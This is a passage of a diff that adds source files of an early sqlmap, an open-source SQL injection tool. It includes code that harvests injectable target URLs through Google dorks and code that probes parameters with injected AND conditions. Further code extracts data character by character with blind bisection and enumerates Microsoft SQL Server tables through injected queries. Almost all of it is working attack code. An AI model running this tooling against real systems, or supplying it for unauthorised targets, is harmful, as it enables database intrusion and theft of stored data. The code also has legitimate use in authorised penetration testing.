value = ""
|
||||
index = 0
|
||||
|
||||
while True:
|
||||
index += 1
|
||||
charStart = time.time()
|
||||
val = getChar(index)
|
||||
|
||||
if val == None:
|
||||
break
|
||||
|
||||
value += val
|
||||
|
||||
if conf.sessionFile:
|
||||
dataToSessionFile(replaceNewlineTabs(val))
|
||||
|
||||
if showEta:
|
||||
etaProgressUpdate(time.time() - charStart, index)
|
||||
elif conf.verbose in ( 1, 2 ):
|
||||
dataToStdout(val)
|
||||
|
||||
if conf.verbose in ( 1, 2 ) or showEta:
|
||||
dataToStdout("\n")
|
||||
|
||||
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
|
||||
infoMsg = "retrieved: %s" % value
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.sessionFile:
|
||||
dataToSessionFile("]\n")
|
||||
|
||||
return queriesCount[0], value
|
25
lib/utils/__init__.py
Normal file
25
lib/utils/__init__.py
Normal file
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
43
lib/utils/fuzzer.py
Normal file
43
lib/utils/fuzzer.py
Normal file
|
@ -0,0 +1,43 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: fuzzer.py 247 2008-07-19 23:07:26Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def passiveFuzzing():
|
||||
logMsg = "executing passive fuzzing to retrieve DBMS error messages"
|
||||
logger.info(logMsg)
|
||||
|
||||
fuzzVectors = open(paths.FUZZ_VECTORS, "r")
|
||||
|
||||
for fuzzVector in fuzzVectors:
|
||||
fuzzVector = fuzzVector.replace("\r", "").replace("\n", "")
|
||||
|
||||
payload = agent.payload(newValue=fuzzVector)
|
||||
Request.queryPage(payload)
|
122
lib/utils/google.py
Normal file
122
lib/utils/google.py
Normal file
|
@ -0,0 +1,122 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: google.py 330 2008-08-28 21:25:48Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import cookielib
|
||||
import re
|
||||
import urllib2
|
||||
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.exception import sqlmapRegExprException
|
||||
|
||||
|
||||
class Google:
|
||||
"""
|
||||
This class defines methods used to perform Google dorking (command
|
||||
line option '-g <google dork>'
|
||||
"""
|
||||
|
||||
def __init__(self, proxyHandler):
|
||||
self.__googleCookie = None
|
||||
self.__matches = []
|
||||
self.__cj = cookielib.LWPCookieJar()
|
||||
self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj))
|
||||
self.opener.addheaders = conf.httpHeaders
|
||||
|
||||
|
||||
def __parsePage(self, page):
|
||||
"""
|
||||
Parse Google dork search results page to get the list of
|
||||
HTTP addresses
|
||||
"""
|
||||
|
||||
matches = []
|
||||
|
||||
regExpr = "class=r\076\074a href=\042(http[s]*://.+?)\042\sclass=l"
|
||||
matches = re.findall(regExpr, page, re.I | re.M)
|
||||
|
||||
return matches
|
||||
|
||||
|
||||
def getTargetUrls(self):
|
||||
"""
|
||||
This method returns the list of hosts with parameters out of
|
||||
your Google dork search results
|
||||
"""
|
||||
|
||||
targetUrls = set()
|
||||
|
||||
for match in self.__matches:
|
||||
if re.search("(.*?)\?(.+)", match, re.I):
|
||||
targetUrls.add(match)
|
||||
|
||||
return targetUrls
|
||||
|
||||
|
||||
def getCookie(self):
|
||||
"""
|
||||
This method is the first to be called when initializing a
|
||||
Google dorking object through this library. It is used to
|
||||
retrieve the Google session cookie needed to perform the
|
||||
further search
|
||||
"""
|
||||
|
||||
try:
|
||||
conn = self.opener.open("http://www.google.com/ncr")
|
||||
headers = conn.info()
|
||||
except urllib2.HTTPError, e:
|
||||
headers = e.info()
|
||||
except urllib2.URLError, e:
|
||||
errMsg = "unable to connect to Google"
|
||||
raise sqlmapConnectionException, errMsg
|
||||
|
||||
|
||||
def search(self, googleDork):
|
||||
"""
|
||||
This method performs the effective search on Google providing
|
||||
the google dork and the Google session cookie
|
||||
"""
|
||||
|
||||
if not googleDork:
|
||||
return None
|
||||
|
||||
url = "http://www.google.com/search?"
|
||||
url += "q=%s&" % urlencode(googleDork)
|
||||
url += "num=100&hl=en&safe=off&filter=0&btnG=Search"
|
||||
|
||||
try:
|
||||
conn = self.opener.open(url)
|
||||
page = conn.read()
|
||||
except urllib2.HTTPError, e:
|
||||
page = e.read()
|
||||
except urllib2.URLError, e:
|
||||
errMsg = "unable to connect to Google"
|
||||
raise sqlmapConnectionException, errMsg
|
||||
|
||||
self.__matches = self.__parsePage(page)
|
||||
|
||||
return self.__matches
|
80
lib/utils/parenthesis.py
Normal file
80
lib/utils/parenthesis.py
Normal file
|
@ -0,0 +1,80 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: parenthesis.py 357 2008-09-21 18:52:16Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.session import setParenthesis
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def checkForParenthesis():
|
||||
"""
|
||||
This method checks if the SQL injection affected parameter
|
||||
is within the parenthesis.
|
||||
"""
|
||||
|
||||
if kb.parenthesis != None:
|
||||
return kb.parenthesis
|
||||
|
||||
logMsg = "testing for parenthesis on injectable parameter"
|
||||
logger.info(logMsg)
|
||||
|
||||
count = 0
|
||||
|
||||
for parenthesis in range(1, 4):
|
||||
query = agent.prefixQuery("%s " % (")" * parenthesis))
|
||||
query += "AND %s" % ("(" * parenthesis)
|
||||
|
||||
randInt = randomInt()
|
||||
randStr = randomStr()
|
||||
|
||||
if kb.injType == "numeric":
|
||||
query += "%d=%d" % (randInt, randInt)
|
||||
elif kb.injType == "stringsingle":
|
||||
query += "'%s'='%s" % (randStr, randStr)
|
||||
elif kb.injType == "likesingle":
|
||||
query += "'%s' LIKE '%s" % (randStr, randStr)
|
||||
elif kb.injType == "stringdouble":
|
||||
query += "\"%s\"=\"%s" % (randStr, randStr)
|
||||
elif kb.injType == "likedouble":
|
||||
query += "\"%s\" LIKE \"%s" % (randStr, randStr)
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unsupported injection type"
|
||||
|
||||
payload = agent.payload(newValue=query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == kb.defaultResult:
|
||||
count = parenthesis
|
||||
|
||||
logMsg = "the injectable parameter requires %d parenthesis" % count
|
||||
logger.info(logMsg)
|
||||
|
||||
setParenthesis(count)
|
184
lib/utils/resume.py
Normal file
184
lib/utils/resume.py
Normal file
|
@ -0,0 +1,184 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: resume.py 294M 2008-10-14 23:49:41Z (local) $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.techniques.inference.blind import bisection
|
||||
|
||||
|
||||
def queryOutputLength(expression, payload):
|
||||
"""
|
||||
Returns the query output length.
|
||||
"""
|
||||
|
||||
lengthQuery = queries[kb.dbms].length
|
||||
|
||||
select = re.search("\ASELECT\s+", expression, re.I)
|
||||
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
||||
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
|
||||
selectExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
|
||||
miscExpr = re.search("\A(.+)", expression, re.I)
|
||||
|
||||
if selectTopExpr or selectDistinctExpr or selectExpr:
|
||||
if selectTopExpr:
|
||||
regExpr = selectTopExpr.groups()[0]
|
||||
elif selectDistinctExpr:
|
||||
regExpr = selectDistinctExpr.groups()[0]
|
||||
elif selectExpr:
|
||||
regExpr = selectExpr.groups()[0]
|
||||
elif miscExpr:
|
||||
regExpr = miscExpr.groups()[0]
|
||||
|
||||
if ( select and re.search("\A(COUNT|LTRIM)\(", regExpr, re.I) ) or len(regExpr) <= 1:
|
||||
return None, None, None
|
||||
|
||||
if select:
|
||||
lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1)
|
||||
else:
|
||||
lengthExpr = lengthQuery % expression
|
||||
|
||||
infoMsg = "retrieving the length of query output"
|
||||
logger.info(infoMsg)
|
||||
|
||||
output = resume(lengthExpr, payload)
|
||||
|
||||
if output:
|
||||
return 0, output, regExpr
|
||||
|
||||
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], lengthExpr))
|
||||
|
||||
lengthExprUnescaped = unescaper.unescape(lengthExpr)
|
||||
count, length = bisection(payload, lengthExprUnescaped)
|
||||
|
||||
if length == " ":
|
||||
length = 0
|
||||
|
||||
return count, length, regExpr
|
||||
|
||||
|
||||
def resume(expression, payload):
|
||||
"""
|
||||
This function can be called to resume part or entire output of a
|
||||
SQL injection query output.
|
||||
"""
|
||||
|
||||
condition = (
|
||||
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
|
||||
and expression in kb.resumedQueries[conf.url].keys()
|
||||
)
|
||||
|
||||
if not condition:
|
||||
return None
|
||||
|
||||
resumedValue = kb.resumedQueries[conf.url][expression]
|
||||
|
||||
if not resumedValue:
|
||||
return None
|
||||
|
||||
if resumedValue[-1] == "]":
|
||||
resumedValue = resumedValue[:-1]
|
||||
|
||||
infoMsg = "read from file '%s': " % conf.sessionFile
|
||||
logValue = re.findall("__START__(.*?)__STOP__", resumedValue, re.S)
|
||||
|
||||
if logValue:
|
||||
logValue = ", ".join([value.replace("__DEL__", ", ") for value in logValue])
|
||||
else:
|
||||
logValue = resumedValue
|
||||
|
||||
if "\n" in logValue:
|
||||
infoMsg += "%s..." % logValue.split("\n")[0]
|
||||
else:
|
||||
infoMsg += logValue
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
return resumedValue
|
||||
|
||||
# If we called this function without providing a payload it means that
|
||||
# we have called it from lib/request/inject __goInband() function
|
||||
# in UNION SELECT (inband) SQL injection so we return to the calling
|
||||
# function so that the query output will be retrieved taking advantage
|
||||
# of the inband SQL injection vulnerability.
|
||||
if not payload:
|
||||
return None
|
||||
|
||||
expressionUnescaped = unescaper.unescape(expression)
|
||||
substringQuery = queries[kb.dbms].substring
|
||||
select = re.search("\ASELECT ", expression, re.I)
|
||||
|
||||
_, length, regExpr = queryOutputLength(expression, payload)
|
||||
|
||||
if not length:
|
||||
return None
|
||||
|
||||
if len(resumedValue) == int(length):
|
||||
infoMsg = "read from file '%s': " % conf.sessionFile
|
||||
infoMsg += "%s" % resumedValue.split("\n")[0]
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.sessionFile:
|
||||
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue))
|
||||
|
||||
return resumedValue
|
||||
elif len(resumedValue) < int(length):
|
||||
infoMsg = "resumed from file '%s': " % conf.sessionFile
|
||||
infoMsg += "%s..." % resumedValue.split("\n")[0]
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.sessionFile:
|
||||
dataToSessionFile("[%s][%s][%s][%s][%s" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, resumedValue))
|
||||
|
||||
if select:
|
||||
newExpr = expressionUnescaped.replace(regExpr, substringQuery % (regExpr, len(resumedValue) + 1, int(length)), 1)
|
||||
else:
|
||||
newExpr = substringQuery % (expressionUnescaped, len(resumedValue) + 1, int(length))
|
||||
|
||||
missingCharsLength = int(length) - len(resumedValue)
|
||||
|
||||
infoMsg = "retrieving pending %d query " % missingCharsLength
|
||||
infoMsg += "output characters"
|
||||
logger.info(infoMsg)
|
||||
|
||||
_, finalValue = bisection(payload, newExpr, length=missingCharsLength)
|
||||
|
||||
if len(finalValue) != ( int(length) - len(resumedValue) ):
|
||||
warnMsg = "the total length of the query is not "
|
||||
warnMsg += "right, sqlmap is going to retrieve the "
|
||||
warnMsg += "query value from the beginning now"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
return "%s%s" % (resumedValue, finalValue)
|
||||
|
||||
return None
|
25
plugins/__init__.py
Normal file
25
plugins/__init__.py
Normal file
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
25
plugins/dbms/__init__.py
Normal file
25
plugins/dbms/__init__.py
Normal file
|
@ -0,0 +1,25 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
271
plugins/dbms/mssqlserver.py
Normal file
271
plugins/dbms/mssqlserver.py
Normal file
|
@ -0,0 +1,271 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: mssqlserver.py 286 2008-07-25 23:09:48Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.data import queries
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.parse.banner import bannerParser
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
#from lib.utils.fuzzer import passiveFuzzing
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
from plugins.generic.fingerprint import Fingerprint
|
||||
from plugins.generic.takeover import Takeover
|
||||
|
||||
|
||||
class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
"""
|
||||
This class defines Microsoft SQL Server methods
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
Enumeration.__init__(self, "Microsoft SQL Server")
|
||||
|
||||
unescaper.setUnescape(MSSQLServerMap.unescape)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def unescape(expression):
|
||||
while True:
|
||||
index = expression.find("'")
|
||||
if index == -1:
|
||||
break
|
||||
|
||||
firstIndex = index + 1
|
||||
index = expression[firstIndex:].find("'")
|
||||
|
||||
if index == -1:
|
||||
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
|
||||
|
||||
lastIndex = firstIndex + index
|
||||
old = "'%s'" % expression[firstIndex:lastIndex]
|
||||
#unescaped = ""
|
||||
unescaped = "("
|
||||
|
||||
for i in range(firstIndex, lastIndex):
|
||||
unescaped += "CHAR(%d)" % (ord(expression[i]))
|
||||
if i < lastIndex - 1:
|
||||
unescaped += "+"
|
||||
|
||||
unescaped += ")"
|
||||
expression = expression.replace(old, unescaped)
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
@staticmethod
|
||||
def escape(expression):
|
||||
while True:
|
||||
index = expression.find("CHAR(")
|
||||
if index == -1:
|
||||
break
|
||||
|
||||
firstIndex = index
|
||||
index = expression[firstIndex:].find("))")
|
||||
|
||||
if index == -1:
|
||||
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
|
||||
|
||||
lastIndex = firstIndex + index + 1
|
||||
old = expression[firstIndex:lastIndex]
|
||||
oldUpper = old.upper()
|
||||
oldUpper = oldUpper.replace("CHAR(", "").replace(")", "")
|
||||
oldUpper = oldUpper.split("+")
|
||||
|
||||
escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
|
||||
expression = expression.replace(old, escaped)
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
def getFingerprint(self):
|
||||
actVer = formatFingerprint()
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return actVer
|
||||
|
||||
blank = " " * 16
|
||||
value = "active fingerprint: %s" % actVer
|
||||
|
||||
if self.banner:
|
||||
release, version, servicepack = bannerParser(self.banner, paths.MSSQL_XML)
|
||||
|
||||
if release and version and servicepack:
|
||||
banVer = "Microsoft SQL Server %s " % release
|
||||
banVer += "Service Pack %s " % servicepack
|
||||
banVer += "version %s" % version
|
||||
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
#passiveFuzzing()
|
||||
htmlParsed = getHtmlErrorFp()
|
||||
|
||||
if htmlParsed:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
|
||||
|
||||
return value
|
||||
|
||||
|
||||
def checkDbms(self):
|
||||
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
||||
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
logMsg = "testing Microsoft SQL Server"
|
||||
logger.info(logMsg)
|
||||
|
||||
randInt = str(randomInt(1))
|
||||
query = "LTRIM(STR(LEN(%s)))" % randInt
|
||||
|
||||
if inject.getValue(query) == "1":
|
||||
query = "SELECT SUBSTRING((@@VERSION), 25, 1)"
|
||||
version = inject.getValue(query)
|
||||
|
||||
if version == "8":
|
||||
kb.dbmsVersion = ["2008"]
|
||||
elif version == "5":
|
||||
kb.dbmsVersion = ["2005"]
|
||||
elif version == "0":
|
||||
kb.dbmsVersion = ["2000"]
|
||||
|
||||
if kb.dbmsVersion:
|
||||
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
||||
else:
|
||||
setDbms("Microsoft SQL Server")
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
if conf.getBanner:
|
||||
self.banner = inject.getValue("@@VERSION")
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DMBS is not Microsoft SQL Server"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def getPrivileges(self):
|
||||
warnMsg = "this plugin can not fetch database users privileges"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
|
||||
def getTables(self):
|
||||
logMsg = "fetching tables"
|
||||
if conf.db:
|
||||
logMsg += " for database '%s'" % conf.db
|
||||
logger.info(logMsg)
|
||||
|
||||
rootQuery = queries[kb.dbms].tables
|
||||
|
||||
if not conf.db:
|
||||
if not len(self.cachedDbs):
|
||||
dbs = self.getDbs()
|
||||
else:
|
||||
dbs = self.cachedDbs
|
||||
else:
|
||||
if "," in conf.db:
|
||||
dbs = conf.db.split(",")
|
||||
else:
|
||||
dbs = [conf.db]
|
||||
|
||||
if conf.unionUse:
|
||||
for db in dbs:
|
||||
if conf.excludeSysDbs and db in self.excludeDbsList:
|
||||
logMsg = "skipping system database '%s'" % db
|
||||
logger.info(logMsg)
|
||||
|
||||
continue
|
||||
|
||||
query = rootQuery["inband"]["query"] % db
|
||||
value = inject.getValue(query, blind=False)
|
||||
|
||||
if value:
|
||||
self.cachedTables[db] = value
|
||||
|
||||
if not self.cachedTables:
|
||||
for db in dbs:
|
||||
if conf.excludeSysDbs and db in self.excludeDbsList:
|
||||
logMsg = "skipping system database '%s'" % db
|
||||
logger.info(logMsg)
|
||||
|
||||
continue
|
||||
|
||||
logMsg = "fetching number of tables for "
|
||||
logMsg += "database '%s'" % db
|
||||
logger.info(logMsg)
|
||||
|
||||
query = rootQuery["blind"]["count"] % db
|
||||
count = inject.getValue(query, inband=False)
|
||||
|
||||
if not len(count) or count == "0":
|
||||
warnMsg = "unable to retrieve the number of "
|
||||
warnMsg += "tables for database '%s'" % db
|
||||
logger.warn(warnMsg)
|
||||
continue
|
||||
|
||||
tables = []
|
||||
|
||||
for index in range(int(count)):
|
||||
query = rootQuery["blind"]["query"] % (db, index, db)
|
||||
table = inject.getValue(query, inband=False)
|
||||
tables.append(table)
|
||||
|
||||
if tables:
|
||||
self.cachedTables[db] = tables
|
||||
else:
|
||||
warnMsg = "unable to retrieve the tables "
|
||||
warnMsg += "for database '%s'" % db
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not self.cachedTables:
|
||||
errMsg = "unable to retrieve the tables for any database"
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
return self.cachedTables
|
471
plugins/dbms/mysql.py
Normal file
471
plugins/dbms/mysql.py
Normal file
|
@ -0,0 +1,471 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: mysql.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import fileToStr
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getDirectories
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.shell import autoCompletion
|
||||
from lib.core.unescaper import unescaper
|
